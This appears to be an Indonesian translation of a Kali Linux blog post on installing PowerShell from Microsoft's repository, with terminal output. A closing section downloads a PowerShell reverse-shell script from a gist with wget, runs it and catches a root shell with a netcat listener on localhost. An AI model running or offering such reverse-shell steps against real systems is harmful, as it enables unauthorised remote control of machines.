GNU/Linux >> Belajar Linux >  >> Linux

Menginstal PowerShell di Kali Linux

PERBARUI NOV 2019

Posting ini kedaluwarsa pada 2019 karena PowerShell telah ditambahkan ke repo utama. Lakukan saja:

apt update && apt -y install powershell

Dan Anda akan memiliki PowerShell di sistem Anda.

Postingan Lama

Anda mungkin sudah menyadari bahwa Anda dapat dengan aman menambahkan repositori eksternal ke instalasi Kali Linux Anda, tetapi Anda mungkin tidak menyadari bahwa salah satu dari banyak repositori yang tersedia secara online termasuk salah satu dari Microsoft yang menyertakan PowerShell. Repositori adalah untuk Debian tetapi paket-paketnya terinstal dengan sangat baik di Kali, seperti yang akan kami tunjukkan dalam posting ini.

Instalasi Paket PowerShell di Kali

Kita mulai dengan menginstal dependensi yang diperlukan, yang sebagian besar seharusnya sudah diinstal di instalasi Kali Anda secara default.

apt update && apt -y install curl gnupg apt-transport-https

Selanjutnya, kita perlu mengunduh dan menambahkan kunci GPG repositori publik sehingga APT akan memercayai paket dan memberi tahu Anda tentang masalah apa pun dengan tanda tangan paket.

curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add -

Dengan menambahkan kunci GPG, kami melanjutkan untuk menambahkan repositori paket Microsoft ke file daftar paketnya sendiri di bawah /etc/apt/sources.list.d/ dan perbarui daftar paket yang tersedia.

echo "deb [arch=amd64] https://packages.microsoft.com/repos/microsoft-debian-stretch-prod stretch main" > /etc/apt/sources.list.d/powershell.list
apt update

Akhirnya, kami melanjutkan untuk menginstal paket powershell.

apt -y install powershell

Menjalankan PowerShell

Saat instalasi paket selesai, jalankan pwsh akan memulai PowerShell, memberi kami perintah "PS" yang sudah dikenal.

[email protected]:~# pwsh
PowerShell v6.1.0-preview.2
Copyright (c) Microsoft Corporation. All rights reserved.

https://aka.ms/pscore6-docs
Type 'help' to get help.

PS /root>

Jika Anda baru menggunakan PowerShell, salah satu hal pertama yang mungkin ingin Anda lakukan adalah memperbarui bantuan bawaan, yang dapat dilakukan dengan menjalankan Update-Help Cmdlet. Ini mungkin memerlukan sedikit waktu untuk diselesaikan tetapi hanya benar-benar perlu dijalankan sesekali.

PS /root> Update-Help
Updating Help for module Microsoft.PowerShell.Utility
Locating Help Content...

Seperti yang Anda duga, Anda tidak akan menemukan semua perintah yang biasa Anda gunakan saat menggunakan PowerShell di Windows, tetapi semua modul inti ada dan kode terus dikembangkan dan ditingkatkan.

PS /root> Get-Process -Name gnome*

NPM(K) PM(M) WS(M) CPU(s) Id SI ProcessName
------ ----- ----- ------ -- -- -----------
0 0.00 5.71 0.03 1073 072 gnome-keyring-d
0 0.00 9.80 0.19 659 649 gnome-session-b
0 0.00 13.72 0.36 1089 080 gnome-session-b
0 0.00 110.06 3.36 778 649 gnome-shell
0 0.00 277.15 27.85 1170 080 gnome-shell
0 0.00 11.77 0.09 1199 075 gnome-shell-cal
0 0.00 77.79 4.58 1381 080 gnome-software
0 0.00 36.58 2.03 1646 646 gnome-terminal-

Salah satu hal mengejutkan yang bisa lakukan bagaimanapun, adalah menggunakan PowerShell untuk mengirim shell terbalik ke pendengar Netcat. Kami menemukan shell terbalik PowerShell kecil secara online dan sangat mengejutkan kami, dengan senang hati terhubung kembali ke pendengar kami.

[email protected]:~# pwsh
PowerShell v6.1.0-preview.2
Copyright (c) Microsoft Corporation. All rights reserved.

https://aka.ms/pscore6-docs
Type 'help' to get help.

PS /root> wget -q https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1
PS /root> ./mini-reverse.ps1
────────────────────────────────────────────────────────────────────────────────
[email protected]:~# nc -lvnp 413
listening on [any] 413 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 59006
id
uid=0(root) gid=0(root) groups=0(root)

uname -a
Linux kali 4.15.0-kali3-amd64 #1 SMP Debian 4.15.17-1kali1 (2018-04-25) x86_64 GNU/Linux

Kami pikir itu luar biasa bahwa, tidak hanya Microsoft Open-source PowerShell, mereka juga terus memperbarui dan meningkatkannya, dan memiliki repositori paket publik untuk itu membuat penginstalan menjadi mudah.


Linux
  1. Kali Linux 1.1.0 Rilis

  2. Kali Linux 2017.1 Rilis

  3. Kali Linux 2016.2 Rilis

  1. Menginstal Linux Mint Cinnamon di VM

  2. Peningkatan Aksesibilitas Kali Linux

  3. Kali Linux 2020.2 Rilis (KDE &PowerShell)

  1. Pasca Rilis Kali Linux

  2. Kali Linux 1.0.7 Rilis

  3. Metapackage Kali Linux